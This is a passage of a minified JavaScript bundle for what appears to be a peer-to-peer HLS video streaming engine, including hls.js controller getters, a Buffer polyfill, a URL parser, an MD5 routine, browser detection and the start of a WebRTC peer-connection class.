e?e.getEstimate():NaN}},{key:"autoLevelEnabled",get:function(){return-1===this.levelController.manualLevel}},{key:"manualLevel",get:function(){return this.levelController.manualLevel}},{key:"minAutoLevel",get:function(){for(var e=this.levels,t=this.config.minAutoBitrate,r=e?e.length:0,i=0;i<r;i++)if((e[i].realBitrate?Math.max(e[i].realBitrate,e[i].bitrate):e[i].bitrate)>t)return i;return 0}},{key:"maxAutoLevel",get:function(){var e=this.levels,t=this.autoLevelCapping;return-1===t&&e&&e.length?e.length-1:t}},{key:"nextAutoLevel",get:function(){return Math.min(Math.max(this.abrController.nextAutoLevel,this.minAutoLevel),this.maxAutoLevel)},set:function(e){this.abrController.nextAutoLevel=Math.max(this.minAutoLevel,e)}},{key:"audioTracks",get:function(){var e=this.audioTrackController;return e?e.audioTracks:[]}},{key:"audioTrack",get:function(){var e=this.audioTrackController;return e?e.audioTrack:-1},set:function(e){var t=this.audioTrackController;t&&(t.audioTrack=e)}},{key:"liveSyncPosition",get:function(){return this.streamController.liveSyncPosition}},{key:"subtitleTracks",get:function(){var e=this.subtitleTrackController;return e?e.subtitleTracks:[]}},{key:"subtitleTrack",get:function(){var e=this.subtitleTrackController;return e?e.subtitleTrack:-1},set:function(e){var t=this.subtitleTrackController;t&&(t.subtitleTrack=e)}},{key:"subtitleDisplay",get:function(){var e=this.subtitleTrackController;return!!e&&e.subtitleDisplay},set:function(e){var t=this.subtitleTrackController;t&&(t.subtitleDisplay=e)}}]),i}(X);tt.defaultConfig=void 0},"./src/polyfills/number.js":
|
|
68
|
-
/*!*********************************!*\
|
|
69
|
-
!*** ./src/polyfills/number.js ***!
|
|
70
|
-
\*********************************/
|
|
71
|
-
/*! exports provided: isFiniteNumber, MAX_SAFE_INTEGER */function(e,t,r){"use strict";r.r(t),r.d(t,"isFiniteNumber",(function(){return i})),r.d(t,"MAX_SAFE_INTEGER",(function(){return n}));var i=Number.isFinite||function(e){return"number"==typeof e&&isFinite(e)},n=Number.MAX_SAFE_INTEGER||9007199254740991},"./src/utils/get-self-scope.js":
|
|
72
|
-
/*!*************************************!*\
|
|
73
|
-
!*** ./src/utils/get-self-scope.js ***!
|
|
74
|
-
\*************************************/
|
|
75
|
-
/*! exports provided: getSelfScope */function(e,t,r){"use strict";function i(){return"undefined"==typeof window?self:window}r.r(t),r.d(t,"getSelfScope",(function(){return i}))},"./src/utils/logger.js":
|
|
76
|
-
/*!*****************************!*\
|
|
77
|
-
!*** ./src/utils/logger.js ***!
|
|
78
|
-
\*****************************/
|
|
79
|
-
/*! exports provided: enableLogs, logger */function(e,t,r){"use strict";r.r(t),r.d(t,"enableLogs",(function(){return h})),r.d(t,"logger",(function(){return u}));var i=r(/*! ./get-self-scope */"./src/utils/get-self-scope.js");function n(){}var s={trace:n,debug:n,log:n,warn:n,info:n,error:n},a=s;function o(e,t){return t="["+e+"] > "+t}var l=Object(i.getSelfScope)();function d(e){var t=l.console[e];return t?function(){for(var r=arguments.length,i=new Array(r),n=0;n<r;n++)i[n]=arguments[n];i[0]&&(i[0]=o(e,i[0])),t.apply(l.console,i)}:n}var h=function(e){if(l.console&&!0===e||"object"==typeof e){!function(e){for(var t=arguments.length,r=new Array(t>1?t-1:0),i=1;i<t;i++)r[i-1]=arguments[i];r.forEach((function(t){a[t]=e[t]?e[t].bind(e):d(t)}))}(e,"debug","log","info","warn","error");try{a.log()}catch(e){a=s}}else a=s},u=a}}).default},e.exports=t())},622:function(e){var t,r,i,n,s;t=/^(?=((?:[a-zA-Z0-9+\-.]+:)?))\1(?=((?:\/\/[^\/?#]*)?))\2(?=((?:(?:[^?#\/]*\/)*[^;?#\/]*)?))\3((?:;[^?#]*)?)(\?[^#]*)?(#[^]*)?$/,r=/^(?=([^\/?#]*))\1([^]*)$/,i=/(?:\/|^)\.(?=\/)/g,n=/(?:\/|^)\.\.\/(?!\.\.\/)[^\/]*(?=\/)/g,s={buildAbsoluteURL:function(e,t,i){if(i=i||{},e=e.trim(),!(t=t.trim())){if(!i.alwaysNormalize)return e;var n=s.parseURL(e);if(!n)throw new Error("Error trying to parse base URL.");return n.path=s.normalizePath(n.path),s.buildURLFromParts(n)}var a=s.parseURL(t);if(!a)throw new Error("Error trying to parse relative URL.");if(a.scheme)return i.alwaysNormalize?(a.path=s.normalizePath(a.path),s.buildURLFromParts(a)):t;var o=s.parseURL(e);if(!o)throw new Error("Error trying to parse base URL.");if(!o.netLoc&&o.path&&"/"!==o.path[0]){var l=r.exec(o.path);o.netLoc=l[1],o.path=l[2]}o.netLoc&&!o.path&&(o.path="/");var d={scheme:o.scheme,netLoc:a.netLoc,path:null,params:a.params,query:a.query,fragment:a.fragment};if(!a.netLoc&&(d.netLoc=o.netLoc,"/"!==a.path[0]))if(a.path){var h=o.path,u=h.substring(0,h.lastIndexOf("/")+1)+a.path;d.path=s.normalizePath(u)}else d.path=o.path,a.params||(d.params=o.params,a.query||(d.query=o.query));return null===d.path&&(d.path=i.alwaysNormalize?s.normalizePath(a.path):a.path),s.buildURLFromParts(d)},parseURL:function(e){var r=t.exec(e);return r?{scheme:r[1]||"",netLoc:r[2]||"",path:r[3]||"",params:r[4]||"",query:r[5]||"",fragment:r[6]||""}:null},normalizePath:function(e){for(e=e.split("").reverse().join("").replace(i,"");e.length!==(e=e.replace(n,"")).length;);return e.split("").reverse().join("")},buildURLFromParts:function(e){return e.scheme+e.netLoc+e.path+e.params+e.query+e.fragment}},e.exports=s},47:(e,t)=>{"use strict";t.l=n;var r=2147483647;function i(e){if(e>r)throw new RangeError('The value "'+e+'" is invalid for option "size"');var t=new Uint8Array(e);return t.__proto__=n.prototype,t}function n(e,t,r){if("number"==typeof e){if("string"==typeof t)throw new TypeError('The "string" argument must be of type string. Received type number');return o(e)}return s(e,t,r)}function s(e,t,r){if("string"==typeof e)return function(e,t){"string"==typeof t&&""!==t||(t="utf8");if(!n.isEncoding(t))throw new TypeError("Unknown encoding: "+t);var r=0|h(e,t),s=i(r),a=s.write(e,t);a!==r&&(s=s.slice(0,a));return s}(e,t);if(ArrayBuffer.isView(e))return l(e);if(null==e)throw TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof e);if(c(e,ArrayBuffer)||e&&c(e.buffer,ArrayBuffer))return function(e,t,r){if(t<0||e.byteLength<t)throw new RangeError('"offset" is outside of buffer bounds');if(e.byteLength<t+(r||0))throw new RangeError('"length" is outside of buffer bounds');var i;i=void 0===t&&void 0===r?new Uint8Array(e):void 0===r?new Uint8Array(e,t):new Uint8Array(e,t,r);return i.__proto__=n.prototype,i}(e,t,r);if("number"==typeof e)throw new TypeError('The "value" argument must not be of type number. Received type number');var s=e.valueOf&&e.valueOf();if(null!=s&&s!==e)return n.from(s,t,r);var a=function(e){if(n.isBuffer(e)){var t=0|d(e.length),r=i(t);return 0===r.length||e.copy(r,0,0,t),r}if(void 0!==e.length)return"number"!=typeof e.length||function(e){return e!=e}(e.length)?i(0):l(e);if("Buffer"===e.type&&Array.isArray(e.data))return l(e.data)}(e);if(a)return a;if("undefined"!=typeof Symbol&&null!=Symbol.toPrimitive&&"function"==typeof e[Symbol.toPrimitive])return n.from(e[Symbol.toPrimitive]("string"),t,r);throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof e)}function a(e){if("number"!=typeof e)throw new TypeError('"size" argument must be of type number');if(e<0)throw new RangeError('The value "'+e+'" is invalid for option "size"')}function o(e){return a(e),i(e<0?0:0|d(e))}function l(e){for(var t=e.length<0?0:0|d(e.length),r=i(t),n=0;n<t;n+=1)r[n]=255&e[n];return r}function d(e){if(e>=r)throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x"+r.toString(16)+" bytes");return 0|e}function h(e,t){if(n.isBuffer(e))return e.length;if(ArrayBuffer.isView(e)||c(e,ArrayBuffer))return e.byteLength;if("string"!=typeof e)throw new TypeError('The "string" argument must be one of type string, Buffer, or ArrayBuffer. Received type '+typeof e);var r=e.length,i=arguments.length>2&&!0===arguments[2];if(!i&&0===r)return 0;for(var s=!1;;)switch(t){case"ascii":case"latin1":case"binary":return r;case"utf8":case"utf-8":return u(e).length;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return 2*r;case"hex":return r>>>1;default:if(s)return i?-1:u(e).length;t=(""+t).toLowerCase(),s=!0}}function u(e,t){var r;t=t||1/0;for(var i=e.length,n=null,s=[],a=0;a<i;++a){if((r=e.charCodeAt(a))>55295&&r<57344){if(!n){if(r>56319){(t-=3)>-1&&s.push(239,191,189);continue}if(a+1===i){(t-=3)>-1&&s.push(239,191,189);continue}n=r;continue}if(r<56320){(t-=3)>-1&&s.push(239,191,189),n=r;continue}r=65536+(n-55296<<10|r-56320)}else n&&(t-=3)>-1&&s.push(239,191,189);if(n=null,r<128){if((t-=1)<0)break;s.push(r)}else if(r<2048){if((t-=2)<0)break;s.push(r>>6|192,63&r|128)}else if(r<65536){if((t-=3)<0)break;s.push(r>>12|224,r>>6&63|128,63&r|128)}else{if(!(r<1114112))throw new Error("Invalid code point");if((t-=4)<0)break;s.push(r>>18|240,r>>12&63|128,r>>6&63|128,63&r|128)}}return s}function c(e,t){return e instanceof t||null!=e&&null!=e.constructor&&null!=e.constructor.name&&e.constructor.name===t.name}"undefined"!=typeof Symbol&&null!=Symbol.species&&n[Symbol.species]===n&&Object.defineProperty(n,Symbol.species,{value:null,configurable:!0,enumerable:!1,writable:!1}),n.from=function(e,t,r){return s(e,t,r)},n.prototype.__proto__=Uint8Array.prototype,n.__proto__=Uint8Array,n.alloc=function(e,t,r){return function(e,t,r){return a(e),e<=0?i(e):void 0!==t?"string"==typeof r?i(e).fill(t,r):i(e).fill(t):i(e)}(e,t,r)},n.allocUnsafe=function(e){return o(e)},n.isBuffer=function(e){return null!=e&&!0===e._isBuffer&&e!==n.prototype},n.isEncoding=function(e){switch(String(e).toLowerCase()){case"hex":case"utf8":case"utf-8":case"ascii":case"latin1":case"binary":case"base64":case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return!0;default:return!1}},n.concat=function(e,t){if(!Array.isArray(e))throw new TypeError('"list" argument must be an Array of Buffers');if(0===e.length)return n.alloc(0);var r;if(void 0===t)for(t=0,r=0;r<e.length;++r)t+=e[r].length;var i=n.allocUnsafe(t),s=0;for(r=0;r<e.length;++r){var a=e[r];if(c(a,Uint8Array)&&(a=n.from(a)),!n.isBuffer(a))throw new TypeError('"list" argument must be an Array of Buffers');a.copy(i,s),s+=a.length}return i},n.byteLength=h,n.prototype._isBuffer=!0,n.prototype.copy=function(e,t,r,i){if(!n.isBuffer(e))throw new TypeError("argument should be a Buffer");if(r||(r=0),i||0===i||(i=this.length),t>=e.length&&(t=e.length),t||(t=0),i>0&&i<r&&(i=r),i===r)return 0;if(0===e.length||0===this.length)return 0;if(t<0)throw new RangeError("targetStart out of bounds");if(r<0||r>=this.length)throw new RangeError("Index out of range");if(i<0)throw new RangeError("sourceEnd out of bounds");i>this.length&&(i=this.length),e.length-t<i-r&&(i=e.length-t+r);var s=i-r;if(this===e&&"function"==typeof Uint8Array.prototype.copyWithin)this.copyWithin(t,r,i);else if(this===e&&r<t&&t<i)for(var a=s-1;a>=0;--a)e[a+t]=this[a+r];else Uint8Array.prototype.set.call(e,this.subarray(r,i),t);return s}},934:e=>{"use strict";function t(e,t){for(const r in t)Object.defineProperty(e,r,{value:t[r],enumerable:!0,configurable:!0});return e}e.exports=function(e,r,i){if(!e||"string"==typeof e)throw new TypeError("Please pass an Error to err-code");i||(i={}),"object"==typeof r&&(i=r,r=void 0),null!=r&&(i.code=r);try{return t(e,i)}catch(r){i.message=e.message,i.stack=e.stack;const n=function(){};return n.prototype=Object.create(Object.getPrototypeOf(e)),t(new n,i)}}},485:function(e,t,r){var i;!function(n){"use strict";function s(e,t){var r=(65535&e)+(65535&t);return(e>>16)+(t>>16)+(r>>16)<<16|65535&r}function a(e,t,r,i,n,a){return s((o=s(s(t,e),s(i,a)))<<(l=n)|o>>>32-l,r);var o,l}function o(e,t,r,i,n,s,o){return a(t&r|~t&i,e,t,n,s,o)}function l(e,t,r,i,n,s,o){return a(t&i|r&~i,e,t,n,s,o)}function d(e,t,r,i,n,s,o){return a(t^r^i,e,t,n,s,o)}function h(e,t,r,i,n,s,o){return a(r^(t|~i),e,t,n,s,o)}function u(e,t){var r,i,n,a,u;e[t>>5]|=128<<t%32,e[14+(t+64>>>9<<4)]=t;var c=1732584193,f=-271733879,g=-1732584194,p=271733878;for(r=0;r<e.length;r+=16)i=c,n=f,a=g,u=p,c=o(c,f,g,p,e[r],7,-680876936),p=o(p,c,f,g,e[r+1],12,-389564586),g=o(g,p,c,f,e[r+2],17,606105819),f=o(f,g,p,c,e[r+3],22,-1044525330),c=o(c,f,g,p,e[r+4],7,-176418897),p=o(p,c,f,g,e[r+5],12,1200080426),g=o(g,p,c,f,e[r+6],17,-1473231341),f=o(f,g,p,c,e[r+7],22,-45705983),c=o(c,f,g,p,e[r+8],7,1770035416),p=o(p,c,f,g,e[r+9],12,-1958414417),g=o(g,p,c,f,e[r+10],17,-42063),f=o(f,g,p,c,e[r+11],22,-1990404162),c=o(c,f,g,p,e[r+12],7,1804603682),p=o(p,c,f,g,e[r+13],12,-40341101),g=o(g,p,c,f,e[r+14],17,-1502002290),c=l(c,f=o(f,g,p,c,e[r+15],22,1236535329),g,p,e[r+1],5,-165796510),p=l(p,c,f,g,e[r+6],9,-1069501632),g=l(g,p,c,f,e[r+11],14,643717713),f=l(f,g,p,c,e[r],20,-373897302),c=l(c,f,g,p,e[r+5],5,-701558691),p=l(p,c,f,g,e[r+10],9,38016083),g=l(g,p,c,f,e[r+15],14,-660478335),f=l(f,g,p,c,e[r+4],20,-405537848),c=l(c,f,g,p,e[r+9],5,568446438),p=l(p,c,f,g,e[r+14],9,-1019803690),g=l(g,p,c,f,e[r+3],14,-187363961),f=l(f,g,p,c,e[r+8],20,1163531501),c=l(c,f,g,p,e[r+13],5,-1444681467),p=l(p,c,f,g,e[r+2],9,-51403784),g=l(g,p,c,f,e[r+7],14,1735328473),c=d(c,f=l(f,g,p,c,e[r+12],20,-1926607734),g,p,e[r+5],4,-378558),p=d(p,c,f,g,e[r+8],11,-2022574463),g=d(g,p,c,f,e[r+11],16,1839030562),f=d(f,g,p,c,e[r+14],23,-35309556),c=d(c,f,g,p,e[r+1],4,-1530992060),p=d(p,c,f,g,e[r+4],11,1272893353),g=d(g,p,c,f,e[r+7],16,-155497632),f=d(f,g,p,c,e[r+10],23,-1094730640),c=d(c,f,g,p,e[r+13],4,681279174),p=d(p,c,f,g,e[r],11,-358537222),g=d(g,p,c,f,e[r+3],16,-722521979),f=d(f,g,p,c,e[r+6],23,76029189),c=d(c,f,g,p,e[r+9],4,-640364487),p=d(p,c,f,g,e[r+12],11,-421815835),g=d(g,p,c,f,e[r+15],16,530742520),c=h(c,f=d(f,g,p,c,e[r+2],23,-995338651),g,p,e[r],6,-198630844),p=h(p,c,f,g,e[r+7],10,1126891415),g=h(g,p,c,f,e[r+14],15,-1416354905),f=h(f,g,p,c,e[r+5],21,-57434055),c=h(c,f,g,p,e[r+12],6,1700485571),p=h(p,c,f,g,e[r+3],10,-1894986606),g=h(g,p,c,f,e[r+10],15,-1051523),f=h(f,g,p,c,e[r+1],21,-2054922799),c=h(c,f,g,p,e[r+8],6,1873313359),p=h(p,c,f,g,e[r+15],10,-30611744),g=h(g,p,c,f,e[r+6],15,-1560198380),f=h(f,g,p,c,e[r+13],21,1309151649),c=h(c,f,g,p,e[r+4],6,-145523070),p=h(p,c,f,g,e[r+11],10,-1120210379),g=h(g,p,c,f,e[r+2],15,718787259),f=h(f,g,p,c,e[r+9],21,-343485551),c=s(c,i),f=s(f,n),g=s(g,a),p=s(p,u);return[c,f,g,p]}function c(e){var t,r="",i=32*e.length;for(t=0;t<i;t+=8)r+=String.fromCharCode(e[t>>5]>>>t%32&255);return r}function f(e){var t,r=[];for(r[(e.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var i=8*e.length;for(t=0;t<i;t+=8)r[t>>5]|=(255&e.charCodeAt(t/8))<<t%32;return r}function g(e){var t,r,i="0123456789abcdef",n="";for(r=0;r<e.length;r+=1)t=e.charCodeAt(r),n+=i.charAt(t>>>4&15)+i.charAt(15&t);return n}function p(e){return unescape(encodeURIComponent(e))}function m(e){return function(e){return c(u(f(e),8*e.length))}(p(e))}function v(e,t){return function(e,t){var r,i,n=f(e),s=[],a=[];for(s[15]=a[15]=void 0,n.length>16&&(n=u(n,8*e.length)),r=0;r<16;r+=1)s[r]=909522486^n[r],a[r]=1549556828^n[r];return i=u(s.concat(f(t)),512+8*t.length),c(u(a.concat(i),640))}(p(e),p(t))}function _(e,t,r){return t?r?v(t,e):g(v(t,e)):r?m(e):g(m(e))}void 0===(i=function(){return _}.call(t,r,t,e))||(e.exports=i)}()},422:e=>{const t={ANDROID_WEB:"android-web",IOS_WEB:"iOS-web",PC_NATIVE:"PC-native",PC_WEB:"PC-web"};var r={getNetType:function(){let e=(new RegExp("nettype\\/(\\w*)").exec(i())||[,""])[1].toLowerCase();if(!e&&navigator.connection){switch(navigator.connection.type){case"ethernet":e="ethernet";break;case"cellular":e="cellular";break;default:e="wifi"}}return e},getPlatform:function(){return r.isAndroid()?t.ANDROID_WEB:r.isIOS()?t.IOS_WEB:r.isElectron()?t.PC_NATIVE:t.PC_WEB},isX5:function(){return this.isAndroid()&&/\s(TBS|X5Core)\/[\w\.\-]+/i.test(i())},isPC:function(){return!s(n("os "))&&!s(n("android[/ ]"))},isIOS:function(){return s(n("os "))},isAndroid:function(){return s(n("android[/ ]"))},isIOSSafari:function(){return this.isIOS()&&this.isSafari()},isElectron:function(){return/electron/i.test(i())},isMobile:function(){return r.isAndroid()||r.isIOS()},isSafari:function(){return/^((?!chrome|android).)*safari/i.test(i())},isFirefox:function(){return/firefox/i.test(i())},isChrome:function(){return/chrome/i.test(i())},isLocalHost:function(){return"localhost"===location.hostname},device:t,getBrowser:function(){return r.isX5()?"X5":r.isChrome()?"Chrome":r.isFirefox()?"Firefox":r.isIOSSafari()?"iOS-Safari":r.isSafari()?"Mac-Safari":"Unknown"}};function i(){return navigator.userAgent.toLowerCase()}function n(e){return""+(new RegExp(e+"(\\d+((\\.|_)\\d+)*)").exec(i())||[,0])[1]||void 0}function s(e){return parseFloat((e||"").replace(/\_/g,"."))||0}e.exports=r},77:e=>{let t;e.exports="function"==typeof queueMicrotask?queueMicrotask.bind(globalThis):e=>(t||(t=Promise.resolve())).then(e).catch((e=>setTimeout((()=>{throw e}),0)))}},__webpack_module_cache__={};function __webpack_require__(e){var t=__webpack_module_cache__[e];if(void 0!==t)return t.exports;var r=__webpack_module_cache__[e]={exports:{}};return __webpack_modules__[e].call(r.exports,r,r.exports,__webpack_require__),r.exports}__webpack_require__.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return __webpack_require__.d(t,{a:t}),t},__webpack_require__.d=(e,t)=>{for(var r in t)__webpack_require__.o(t,r)&&!__webpack_require__.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},__webpack_require__.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),__webpack_require__.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t);var __webpack_exports__={};return(()=>{"use strict";__webpack_require__.d(__webpack_exports__,{default:()=>index_hls});const events={DC_SIGNAL:"SIGNAL",DC_OPEN:"OPEN",DC_REQUEST:"REQUEST",DC_PIECE_NOT_FOUND:"PIECE_NOT_FOUND",DC_PIECE_ABORT:"PIECE_ABORT",DC_CLOSE:"CLOSE",DC_RESPONSE:"RESPONSE",DC_ERROR:"ERROR",DC_PIECE:"PIECE",DC_PIECE_DATA:"PIECE_DATA",DC_TIMEOUT:"TIMEOUT",DC_PIECE_ACK:"PIECE_ACK",DC_METADATA:"METADATA",DC_PLAT_ANDROID:"ANDROID",DC_PLAT_IOS:"IOS",DC_PLAT_WEB:"WEB",DC_CHOKE:"CHOKE",DC_UNCHOKE:"UNCHOKE",DC_HAVE:"HAVE",DC_LOST:"LOST",DC_GET_PEERS:"GET_PEERS",DC_PEERS:"PEERS",DC_STATS:"STATS",DC_PEER_SIGNAL:"PEER_SIGNAL",DC_PLAYLIST:"PLAYLIST",BM_LOST:"lost",BM_ADDED_SEG_:"BM_ADDED_SEG_",BM_ADDED_SN_:"BM_ADDED_SN_",BM_SEG_ADDED:"BM_SEG_ADDED",FRAG_CHANGED:"FRAG_CHANGED",FRAG_LOADED:"FRAG_LOADED",FRAG_LOADING:"FRAG_LOADING",RESTART_P2P:"RESTART_P2P",EXCEPTION:"exception"},hls_de_events={...events,SCH_DCHAVE:"SCH_DCHAVE",SW_PLAYLIST:"SW_PLAYLIST",SW_GET_PLAYLIST:"SW_GET_PLAYLIST",SW_MEDIA:"SW_MEDIA",SW_GET_MEDIA:"SW_GET_MEDIA",LEVEL_LOADED:"LEVEL_LOADED",MANIFEST_PARSED:"MANIFEST_PARSED",FRAG_LOADED:"FRAG_LOADED"};var _events_3_3_0_events_events=__webpack_require__(204),events_default=__webpack_require__.n(_events_3_3_0_events_events),utils_buffer=__webpack_require__(47);const CHECK_PEERS_INTERVAL=3;function noop(){return!0}function getQueryParam(e){var t=new RegExp("(^|&)"+e+"=([^&]*)(&|$)"),r=location.search.substr(1).match(t);return null!=r&&""!==r[2]?r[2].toString():""}function updateQueryStringParam(e,t,r){var i=new RegExp("([?&])"+t+"=.*?(&|$)","i"),n=-1!==e.indexOf("?")?"&":"?";return e.match(i)?e.replace(i,"$1"+t+"="+r+"$2"):e+n+t+"="+r}function getCurrentTs(){return Date.parse(new Date)/1e3}function randomNum(e,t){return parseInt(Math.random()*(t-e+1)+e,10)}function calCheckPeersDelay(e){return 0===e?CHECK_PEERS_INTERVAL:.33*e+.67}function performRangeRequest(e){const t=new XMLHttpRequest;return new Promise(((r,i)=>{t.open("GET",e,!0),t.responseType="arraybuffer",t.timeout=3e3,t.onload=e=>{206===t.status?r():i()},t.onerror=e=>{i()},t.ontimeout=e=>{i()},t.setRequestHeader("Range","bytes=0-0"),t.send()}))}function navLang(){return"zh-CN"===(navigator.language||navigator.userLanguage)?"cn":"en"}function dontWaitFor(e){e.then((()=>{}))}function timeout(e){return new Promise((t=>setTimeout(t,e)))}function getBrowserRTC(){if("undefined"==typeof window)return null;var e={RTCPeerConnection:window.RTCPeerConnection||window.mozRTCPeerConnection||window.webkitRTCPeerConnection,RTCSessionDescription:window.RTCSessionDescription||window.mozRTCSessionDescription||window.webkitRTCSessionDescription,RTCIceCandidate:window.RTCIceCandidate||window.mozRTCIceCandidate||window.webkitRTCIceCandidate};return e.RTCPeerConnection?e:null}function copyBuffer(e){const t=utils_buffer.l.from(e),r=new utils_buffer.l(e.byteLength);return t.copy(r),r}function getMaxSequence(e){const t=e.split("\n");let r=0;let i=0;for(let e of t){const t=/^#EXT-X-MEDIA-SEQUENCE:?(\-?[0-9.]*)?/.exec(e);if(t&&t[1]){r=parseInt(t[1],10);break}}for(let e of t)e.startsWith("#EXTINF")&&i++;return r+i-1}function isHttps(){return location.protocol.startsWith("https")}function isInteger(e){return"number"==typeof e&&e%1==0}function appendSlogan(e,t,r){var i=document.createElement("div");i.style.position="absolute",i.style.top="8px",i.style.left="8px",i.style.zIndex="999",i.style.fontSize="10px";var n=document.createElement("a");n.href=t,n.target="_blank",n.innerText=e,n.style.color="white",n.style.textDecoration="none",n.style.textShadow="0 0 5px white,0 0 10px #00FFFF,0 0 15px #7FFF00,0 0 20px white";var s=document.createElement("i");s.style.width="5px",s.style.height="5px",s.style.borderRadius="50%",s.style.display="inline-block",s.style.backgroundColor="#67C23A",s.style.marginBottom="2px",s.style.marginRight="4px",i.appendChild(s),i.appendChild(n);var a=r.parentNode;a&&a.insertBefore(i,r)}function getHomeUrl(){return window.atob("aHR0cHM6Ly9zd2FybWNsb3VkLm5ldC9lbi8=")}const logMap={debug:0,info:1,warn:2,error:3,none:4};class Logger{constructor(e){this.logLevel=e,this.onlineDebug=!1,console.debug=console.log,"debug"!==e&&"info"!==e||(this.logLevel="warn"),!0===e?this.logLevel="warn":!1===e?this.logLevel="none":e in logMap||(this.logLevel="error"),this.resetLogger()}enableDebug(){this.onlineDebug=!0;for(let e in logMap)this[e]=console[e]}resetLogger(){this.onlineDebug=!1;for(let e in logMap)logMap[e]<logMap[this.logLevel]?this[e]=noop:this[e]=console[e]}get isDebugLevel(){return logMap[this.logLevel]<=2||this.onlineDebug}}const utils_logger=Logger;var url_toolkit=__webpack_require__(622),url_toolkit_default=__webpack_require__.n(url_toolkit),queue_microtask=__webpack_require__(77),queue_microtask_default=__webpack_require__.n(queue_microtask);const MAX_BUFFERED_AMOUNT=65536,ICECOMPLETE_TIMEOUT=5e3,CHANNEL_CLOSING_TIMEOUT=5e3;function filterTrickle(e){return e.replace(/a=ice-options:trickle\s\n/g,"")}function warn(e){console.warn(e)}class Peer extends(events_default()){constructor(e){super(),this.channelName=e.initiator?e.channelName:null,this.initiator=e.initiator||!1,this.channelConfig=e.channelConfig||Peer.channelConfig,this.channelNegotiated=this.channelConfig.negotiated,this.config=Object.assign({},Peer.config,e.config),this.offerOptions=e.offerOptions||{},this.answerOptions=e.answerOptions||{},this.sdpTransform=e.sdpTransform||(e=>e),this.trickle=void 0===e.trickle||e.trickle,this.allowHalfTrickle=void 0!==e.allowHalfTrickle&&e.allowHalfTrickle,this.iceCompleteTimeout=e.iceCompleteTimeout||ICECOMPLETE_TIMEOUT,this.destroyed=!1,this.destroying=!1,this._connected=!1,this.remoteAddress=void 0,this.remoteFamily=void 0,this.remotePort=void 0,this.localAddress=void 0,this.localFamily=void 0,this.localPort=void 0,this._wrtc=e.wrtc&&"object"==typeof e.wrtc?e.wrtc:getBrowserRTC(),this._pcReady=!1,this._channelReady=!1,this._iceComplete=!1,this._iceCompleteTimer=null,this._channel=null,this._pendingCandidates=[],this._isNegotiating=!1,this._firstNegotiation=!0,this._batchedNegotiation=!1,this._queuedNegotiation=!1,this._sendersAwaitingStable=[],this._senderMap=new Map,this._closingInterval=null,this._remoteTracks=[],this._remoteStreams=[],this._chunk=null,this._cb=null,this._interval=null;try{this._pc=new this._wrtc.RTCPeerConnection(this.config)}catch(e){return void queue_microtask_default()((()=>this.destroy(e)))}this._isReactNativeWebrtc="number"==typeof this._pc._peerConnectionId,this._pc.oniceconnectionstatechange=()=>{this._onIceStateChange()},this._pc.onicegatheringstatechange=()=>{this._onIceStateChange()},this._pc.onconnectionstatechange=()=>{this._onConnectionStateChange()},this._pc.onsignalingstatechange=()=>{this._onSignalingStateChange()},this._pc.onicecandidate=e=>{this._onIceCandidate(e)},this.initiator||this.channelNegotiated?this._setupData({channel:this._pc.createDataChannel(this.channelName,this.channelConfig)}):this._pc.ondatachannel=e=>{this._setupData(e)},this._needsNegotiation()}get bufferSize(){return this._channel&&this._channel.bufferedAmount||0}get connected(){return this._connected&&"open"===this._channel.readyState}signal(e){if(this.destroyed)throw new Error("cannot signal after peer is destroyed");if("string"==typeof e)try{e=JSON.parse(e)}catch(t){e={}}e.renegotiate&&this.initiator&&this._needsNegotiation(),e.transceiverRequest&&this.initiator&&this.addTransceiver(e.transceiverRequest.kind,e.transceiverRequest.init),e.candidate&&(this._pc.remoteDescription&&this._pc.remoteDescription.type?this._addIceCandidate(e.candidate):this._pendingCandidates.push(e.candidate)),e.sdp&&this._pc.setRemoteDescription(new this._wrtc.RTCSessionDescription(e)).then((()=>{this.destroyed||(this._pendingCandidates.forEach((e=>{this._addIceCandidate(e)})),this._pendingCandidates=[],"offer"===this._pc.remoteDescription.type&&this._createAnswer())})).catch((e=>{this.destroy(e)})),e.sdp||e.candidate||e.renegotiate||e.transceiverRequest||this.destroy(new Error("signal() called with invalid signal data"))}_addIceCandidate(e){const t=new this._wrtc.RTCIceCandidate(e);this._pc.addIceCandidate(t).catch((e=>{!t.address||t.address.endsWith(".local")?warn("Ignoring unsupported ICE candidate."):this.destroy(e)}))}send(e){this._channel.send(e)}addTransceiver(e,t){if(this.initiator)try{this._pc.addTransceiver(e,t),this._needsNegotiation()}catch(e){this.destroy(e)}else this.emit("signal",{type:"transceiverRequest",transceiverRequest:{kind:e,init:t}})}_needsNegotiation(){this._batchedNegotiation||(this._batchedNegotiation=!0,queue_microtask_default()((()=>{this._batchedNegotiation=!1,!this.initiator&&this._firstNegotiation||this.negotiate(),this._firstNegotiation=!1})))}negotiate(){this.initiator?this._isNegotiating?this._queuedNegotiation=!0:setTimeout((()=>{this._createOffer()}),0):this._isNegotiating?this._queuedNegotiation=!0:this.emit("signal",{type:"renegotiate",renegotiate:!0}),this._isNegotiating=!0}destroy(e){this._destroy(e,(()=>{}))}_destroy(e,t){this.destroyed||this.destroying||(this.destroying=!0,queue_microtask_default()((()=>{if(this.destroyed=!0,this.destroying=!1,this._connected=!1,this._pcReady=!1,this._channelReady=!1,this._remoteTracks=null,this._remoteStreams=null,this._senderMap=null,clearInterval(this._closingInterval),this._closingInterval=null,clearInterval(this._interval),this._interval=null,this._chunk=null,this._cb=null,this._channel){try{this._channel.close()}catch(e){}this._channel.onmessage=null,this._channel.onopen=null,this._channel.onclose=null,this._channel.onerror=null}if(this._pc){try{this._pc.close()}catch(e){}this._pc.oniceconnectionstatechange=null,this._pc.onicegatheringstatechange=null,this._pc.onsignalingstatechange=null,this._pc.onicecandidate=null,this._pc.ontrack=null,this._pc.ondatachannel=null}this._pc=null,this._channel=null,e&&this.emit("error",e),this.emit("close")})))}_setupData(e){if(!e.channel)return this.destroy(new Error("Data channel event is missing `channel` 